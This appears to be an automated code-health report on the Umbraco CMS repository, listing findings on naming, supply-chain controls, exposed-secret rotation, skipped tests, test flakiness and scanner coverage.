No ADRs found — No ADRs found. None of the conventional ADR directories exists in this tree. What was searched, so you can tell an empty log from a search that missed one: the conventional ADR directories (`docs/adr/`, `docs/decisions/`, `adr/`, `Docs/ADL/` and their siblings), TOP LEVEL ONLY — a file in a subdirectory such as `docs/adr/2024/` is not read — and within those, only files whose name carries TWO OR MORE DIGITS (`0001-use-postgres.md`, `adr-012-caching.md`). A decision log kept under unnumbered names such as `use-postgres.md`, or nested a level deeper, is not seen by this check and this row is then wrong. If that is your case, say so rather than renaming anything; otherwise, consider recording architectural decisions in one of those directories.
D21 · Naming Consistency· Inconsistent naming for test classes · ×1
Inconsistent naming for test classes: some test classes end with 'Test' (singular) while others end with 'Tests' (plural). Specifically, 'ServerRegistrationRepositoryTest', 'ContentTypeRepositoryTest', and 'TagRepositoryTest' use the singular suffix, whereas the vast majority of other test classes in the sample (e.g., 'PackageDataInstallationTests', 'PatchDocumentControllerTests') use the plural suffix. — Standardize all test class names to end with 'Tests' (plural) to match the dominant convention in the codebase. (symbols: Method: public Umbraco.Cms.Tests.Integration.Umbraco.Infrastructure.Persistence.Repositories.ServerRegistrationRepositoryTest.Exists_Returns_Correct_Result(), Property: private Umbraco.Cms.Tests.Integration.Umbraco.Infrastructure.Persistence.Repositories.ContentTypeRepositoryTest.DocumentRepository, Property: private Umbraco.Cms.Tests.Integration.Umbraco.Infrastructure.Persistence.Repositories.TagRepositoryTest.MediaRepository)
Split Umbraco.Infrastructure — This sprawling infrastructure project is huge and spans 126 namespaces across persistence mappers, examine, serialization, migration, telemetry providers, and more, far exceeding the threshold for a grab-bag. Suggested:
Split Umbraco.Cms.Api.Management — This is a massive API project with 294 namespaces across factories, controllers, view models, security, media, and more, clearly sprawling over many unrelated areas. Suggested:
D28 · Secrets (history)· Rotate the exposed credentials · ×1
Rotate the exposed credentials — git history can't be un-committed — Some of these secrets are in git HISTORY: deleting the file does not remove them (the commit persists on every clone, fork and backup). The remediation is to ROTATE each historically-exposed credential and treat it as compromised — not to delete the file. Rewriting history is disruptive and unreliable across existing forks. (Working-tree-only secrets — no commit — can instead be removed from the file and moved to a secret store.) If flagged rows sit in content that is not this repository's own authored code — tool-emitted artifacts, recorded scanner output, wholesale-vendored third-party files — declare that provenance in .gitattributes (`path/** linguist-generated` or `linguist-vendored`): this scanner honors the repository's own declarations and stops counting such content, history-anchored rows included, on the next scan. The declaration is a reviewable statement about provenance, not a suppression — never use it on files that carry your own credentials.
D34 · Knowledge Freshness· Further orphaned files (smaller) · ×1
Further orphaned files (smaller) — 73 smaller file(s) also have no living knowledge — folded into the freshness score and metrics rather than raised one row each — most significant first: src/Umbraco.Core/Constants-WebhookEvents.cs, src/Umbraco.Core/Extensions/ClaimsIdentityExtensions.cs, src/Umbraco.Core/Models/PropertyType.cs, src/Umbraco.Web.Common/Extensions/FriendlyImageCropperTemplateExtensions.cs, src/Umbraco.Core/Extensions/XmlExtensions.cs, src/Umbraco.Core/Models/CultureImpact.cs, src/Umbraco.Core/Services/TwoFactorLoginServiceBase.cs, src/Umbraco.Core/DependencyInjection/ServiceCollectionExtensions.cs (and 65 more) (76 orphaned of 2029 analysed files in total, counted over production source files of roughly 2,400 bytes or more, excluding vendored, generated and example/demo trees and test files identified by path convention, largest first; 2029 of the 5964 production source files in this repository met that bar). Attach the read to the next change that touches one of them: have a second person review that change, and leave behind a short comment or test recording what the file is for, so the knowledge comes back at the cost of a change you were making anyway.
No build provenance — No SLSA provenance generation or build attestation found in CI — nothing binds a released artifact to the build that produced it, so a consumer cannot tell your artifact from a substituted one. On GitHub Actions, `actions/attest-build-provenance` (or slsa-github-generator) emits one from the job's own OIDC identity; elsewhere, run `cosign attest` over the released artifact from the release pipeline and publish the attestation beside it. What was searched, so you can tell an absence from a miss: the 24 CI config file(s) in this repository, the scripts they invoke, and this repository's own composite actions — matched against the provenance acts by name (`attest-build-provenance`, `actions/attest`, `slsa-github-generator`, `cosign attest`, `in-toto`, `--provenance`) plus npm/PyPI trusted publishing. An attestation produced by a tool none of those names, or by a pipeline whose configuration is not in this repository, is not seen by this check.
No artifact signing — No artifact signing found in CI — sign your released artifacts with whatever your ecosystem ships (a GPG/minisign detached signature — or `cosign sign-blob` — over the release archives, or over a checksum file published alongside them, `dotnet nuget sign` with a code-signing certificate for the NuGet packages (`dotnet nuget verify` checks it), or Authenticode via signtool for any executable you ship) so consumers can verify what you built. What was searched, so you can tell an absence from a miss: this repository's CI files, the scripts they invoke and its own composite actions, its root build manifest and its release manifest, its release task runner if it has one, and its own release automation script — plus the trusted-publishing declarations that sign on the registry's side. A signature produced by a pipeline whose configuration is not in this repository, or by a signer whose name is none of the ones this check carries, is not seen here.
No dependency advisory monitoring — Nothing in this repository re-checks its pinned dependencies when an advisory is published: no Dependabot or Renovate configuration (`.github/dependabot.yml`, `renovate.json`), no advisory scanner invoked from CI and no committed scanner configuration (`deny.toml`, `.cargo/audit.toml`, `osv-scanner.toml`, `.snyk`). The manifests present — `npm` (package.json), `nuget` (*.csproj) — pin versions that advisories are published against on the advisory database's clock, not this repository's, so every advisory that lands against a pinned version stays unseen until someone points a scanner at the tree (any already published are reported under D30, one row per package — this row names the control whose absence lets them accumulate). GitHub's Dependabot alerts, if switched on in the repository settings, notify but leave nothing in the tree; a committed configuration is what makes the control reviewable and carries it to a fork or mirror. Add a `.github/dependabot.yml` with one `package-ecosystem` entry per manifest listed (or a `renovate.json`) so each advisory arrives as a pull request against the affected lockfile; or wire the ecosystem's own advisory scanner into CI on a `schedule:` trigger — npm: `npm audit` / `pnpm audit` / `yarn npm audit`; nuget: `dotnet list package --vulnerable` failing on output, or promote the SDK's audit warnings to errors (`<WarningsAsErrors>NU1901;NU1902;NU1903;NU1904</WarningsAsErrors>`).
IL efficiency: 162 authored method(s) exceed the IL budget src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:133— 162 of 21413 first-party methods compile to oversized IL bodies (> 250 instructions); worst: Umbraco.Cms.Core.Strings.Utf8ToAsciiConverter.ToAscii @ src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:133, 7133 IL instructions; that pulled this dimension to 9.8/10. These bodies are far past the JIT's inline budget, so splitting them does not make them inlinable — what moves the number is emitting less: collapsing LINQ chains and closures on hot paths, and interpolation built eagerly where it is only sometimes used.
No ADRs — No Architecture Decision Records found — no conventional ADR directory, no numbered `NNNN-title` documents in any markup this check reads, and nothing ADR-shaped by content. Design rationale recorded elsewhere (a design-notes tree, a mailing list, pull-request discussion) is not visible to this check and is not re-findable per decision, so a future maintainer cannot ask why one choice was made and get an answer.
P10 · Library API & versioning· Large public API surface · ×1
Large public API surface — 5454/6628 types (82%) are public. For a library, every public type is a stability contract — make internal-by-default and expose only the intended API.
P12 · CI test-gate honesty· Sleep-based test synchronization · ×1
Sleep-based test synchronization — 62 Task.Delay/Thread.Sleep call(s) in test code synchronize with background work by sleeping — a known flakiness precursor on slow runners. Prefer polling with a deadline or completion signals.
Logging is not universal — Only 15/21 service-like projects use logging (pure contract/DTO projects are excluded — they have nothing to log). Of those 21, 2 ship a process this repository operates; the rest are libraries their consumer hosts, where the logging decision belongs to the host.
No changelog — No CHANGELOG/HISTORY/RELEASES file — what shipped when isn't easy to reconstruct for support or audit. (Versioning/tagging makes releases traceable, but a changelog records the what.)
X2 · Cancellation propagation· Not all async methods take a CancellationToken · ×1
Not all async methods take a CancellationToken — Only 686/1140 async methods accept a CancellationToken, so in-flight work can't be stopped early when the caller gives up — whatever ends it in your host (shutdown signal, timeout, abandoned request, user cancel). Thread a token through the call chain and honour it at each await and loop; where a method genuinely cannot be interrupted, omitting it is a deliberate choice — judge against your hosting model.
Null-forgiving operator (`!`) suppressions reduce the NRT score — ~0.7 `!` suppressions per 1k syntax nodes — 1131 suppression(s) across the 1512705 syntax node(s) in code where nullable warnings are ENABLED, which is the only code a `!` can suppress anything in (a `!` under `#nullable disable` is inert and is not counted, and its file's nodes are not in the denominator). Each one tells the compiler to trust you about null, suppressing the very safety NRTs provide.
Silent fallback default in catch src/Umbraco.Core/HealthChecks/Checks/Services/SmtpCheck.cs:63— `CanMakeSmtpConnection` swallows every exception into `return false;` — a data error becomes a silent behavior change with no trail. Log the failure or let validation throw.
Skipped (documented): Save_With_Many_Stale_Rows_Does_Not_Exceed_Sql_Parameter_Limit tests/Umbraco.Tests.Integration/Umbraco.Core/Services/DocumentUrlServiceTests.cs:838— Skipped with a documented reason — a deferral, not lazy debt: Slow test that requires LocalDb to reproduce the SQL Server 2100 parameter limit. Run manually to verify the batching fix.
Skipped (documented): GivenNonEagerLocking_WhenNoDbIsAccessed_ThenNoSqlIsExecuted tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:125— Skipped with a documented reason — a deferral, not lazy debt: We currently do not have a way to force lazy locks
Skipped (documented): GivenNonEagerLocking_WhenDbIsAccessed_ThenSqlIsExecuted tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:155— Skipped with a documented reason — a deferral, not lazy debt: We currently do not have a way to force lazy locks
Skipped (documented): Read_Lock_Waits_For_Write_Lock tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:550— Skipped with a documented reason — a deferral, not lazy debt: This test is very flaky, and is stopping our nightlys It synchronises against a background task with `Thread.Sleep(500)` — a fixed wait rather than a signal, which is the usual cause of exactly this kind of randomness.
Skipped (documented): Can_Bulk_Insert_Native_Sql_Server_Bulk_Inserts tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/NPocoTests/NPocoBulkInsertTests.cs:27— Skipped with a documented reason — a deferral, not lazy debt: Ignored because you need to configure your own SQL Server to test this with
Skipped (documented): Can_Generate_Create_Table_Statement tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/SyntaxProvider/SqlServerSyntaxProviderTests.cs:83— Skipped with a documented reason — a deferral, not lazy debt: This doesn't actually test anything
Skipped (documented): Validates_Configured_Blocks tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/PropertyEditors/SingleBlockPropertyEditorTests.cs:147— Skipped with a documented reason — a deferral, not lazy debt: Reenable when configured block validation is introduced
Skipped (documented): TagsAreUpdatedWhenContentIsTrashedAndUnTrashed_Tree tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/ContentServiceTagsTests.cs:627— Skipped with a documented reason — a deferral, not lazy debt: https://github.com/umbraco/Umbraco-CMS/issues/3821 (U4-8442), will need to be fixed.
Skipped (documented): TagsAreUpdatedWhenContentIsUnpublishedAndRePublished_Tree tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/ContentServiceTagsTests.cs:758— Skipped with a documented reason — a deferral, not lazy debt: https://github.com/umbraco/Umbraco-CMS/issues/3821 (U4-8442), will need to be fixed.
Skipped (documented): GetAllPaths_By_Ids_Returns_All_Paths_In_Batches tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/EntityServiceGetAllPathsTests.cs:32— Skipped with a documented reason — a deferral, not lazy debt: Slow test that requires LocalDb to reproduce the SQL Server 2100 parameter limit. Run manually to verify the batching fix.
Skipped (documented): GetAllPaths_By_Keys_Returns_All_Paths_In_Batches tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/EntityServiceGetAllPathsTests.cs:79— Skipped with a documented reason — a deferral, not lazy debt: Slow test that requires LocalDb to reproduce the SQL Server 2100 parameter limit. Run manually to verify the batching fix.
Skipped (documented): Removes_Existing_Duplicates_On_Save tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/ExternalLoginServiceTests.cs:28— Skipped with a documented reason — a deferral, not lazy debt: We don't support duplicates anymore, this removing on save was a breaking change work around, this needs to be ported to a migration
Skipped (documented): Can_Deep_Clone_Perf_Test tests/Umbraco.Tests.UnitTests/Umbraco.Core/Models/ContentTests.cs:289— Skipped with a documented reason — a deferral, not lazy debt: TODO - ignored test
Skipped (documented): Can_Change_ContentType_On_Content_And_Clear_Old_PropertyTypes tests/Umbraco.Tests.UnitTests/Umbraco.Core/Models/ContentTests.cs:780— Skipped with a documented reason — a deferral, not lazy debt: Need to reimplement this logic for v8
Skipped (documented): Cannot_Add_Duplicate_Property_Aliases tests/Umbraco.Tests.UnitTests/Umbraco.Core/Models/ContentTypeTests.cs:17— Skipped with a documented reason — a deferral, not lazy debt: Ignoring this test until we actually enforce this, see comments in ContentTypeBase.PropertyTypesChanged
Skipped (documented): Cannot_Update_Duplicate_Property_Aliases tests/Umbraco.Tests.UnitTests/Umbraco.Core/Models/ContentTypeTests.cs:32— Skipped with a documented reason — a deferral, not lazy debt: Ignoring this test until we actually enforce this, see comments in ContentTypeBase.PropertyTypesChanged
Skipped (documented): GetVersionForState_NoopMigration_Carries_Forward_Previous_Version tests/Umbraco.Tests.UnitTests/Umbraco.Infrastructure/Migrations/Upgrade/UmbracoPlanTests.cs:72— Skipped with a documented reason — a deferral, not lazy debt: Current plan has no no-op migrations, enable and update state-id/version when one exists.
Every external tool invocation behind a deep-scan dimension — the tool, its captured version, the exact command, how many findings it yielded, and a link to the retained raw output. To reproduce any finding: check out the same commit and run the command shown (repo-relative — never an absolute scratch path). The complete raw scanner output is retained verbatim under artifacts/raw/ (indexed in artifacts/raw/index.json); per-invocation exit codes and wall-clock durations are in sidecar.json — kept out of this table so the rendered report stays byte-identical across runs of the same commit.
nuget: not applicable — nuget: `dotnet list package --vulnerable` could not read this solution's dependency graph — it reported an error for at least one project and returned no package data at all (typically a packages.config / non-PackageReference project, which the command cannot read). An unreadable dependency graph is not a clean one; migrate the project(s) to PackageReference to enable this scan
semgrep: not applicable — No personal data was found crossing a boundary the PII/GDPR ruleset checks — nothing written to a log or console sink, placed in a URL or query string, or persisted to browser storage. That is a clean result for the LEAK surface only: this ruleset detects personal data escaping, it does not inventory the personal data a repository holds, so it is not evidence that this repository has no personal-data surface. The personal-data map (Appendix C) and the C1-C5 compliance cards are what speak to that. semgrep could not parse 447 file(s) — `src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/Item/FolderItemControllerBase.cs`, `src/Umbraco.Cms.Api.Management/Controllers/Element/Item/ElementItemControllerBase.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IDocumentStartNodeTreeFilterService.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IElementStartNodeTreeFilterService.cs`, `src/Umbraco.Cms.Api.Management/Services/Entities/IMediaStartNodeTreeFilterService.cs`, … (+442 more) — so the PII/GDPR sweep did not cover the unparsed regions of them; rows reported elsewhere in those files are real.
disclosure: not applicable — No vulnerability-disclosure policy file found (SECURITY.md/.markdown/.rst/.txt at root or under .github/.forgejo/.gitea/docs, .well-known/security.txt). A coordinated-disclosure policy may live off-repo, so this is not evidenced rather than failed.
runtime-hardening: not applicable — No Kubernetes/orchestration workloads found in the repository manifests; network egress policy is a cluster-native control that may live at the platform/firewall layer, so there is nothing to assess here.
runtime-hardening: not applicable — No Kubernetes/orchestration workloads found in the repository manifests; seccomp/AppArmor/SELinux confinement is a workload-level control, so there is nothing to assess here.
runtime-hardening: not applicable — No Kubernetes/orchestration workloads found in the repository manifests; runtime threat-detection and admission-control policy are cluster-level controls, so there is nothing to assess here.
0
—
Run 01a08a31-8db4-739f-aa4e-44f84226c2c2 · every finding is also locatable in findings.md, and the complete scoring record (with exit codes + durations) in sidecar.json.
Appendix C — Personal-data map
Every field, property and record parameter whose name is conventional personal data — 47 field(s) across 2 categories, each with an exact repo-relative file:line. This is the data inventory a compliance review starts from — right-to-erasure, retention, minimisation. Detected by NAME, from the C# syntax tree, with a deliberately specific identifier classifier — the same one the C1–C5 compliance cards use to decide whether personal data is present, so CardDefinition or FileName don't trip. Two caveats stated rather than glossed: those cards additionally require corroboration (a persistence/account signal, or two distinct PII categories) that this inventory deliberately does not, so it lists more than they gate on; and D32 Data Compliance shares nothing with it — that dimension is a separate semgrep ruleset for personal data leaking into logs, URLs and browser storage, and a clean D32 result says nothing about this list. Informational — it feeds no score.
Issues: 225 · Warnings: 2122 · Recommendations: 87 · Info: 145 — Appendix A · all findings · full markdown report.
Generated by Watchdog — deterministic code-health analysis. 10-09-2026 @ 07:21 UTC.
Downloadable artifacts
Machine-readable and reproducible from this commit + frozen rubric — drop them straight into a contract appendix, a CRA dossier, or a downstream SCA / VEX tool.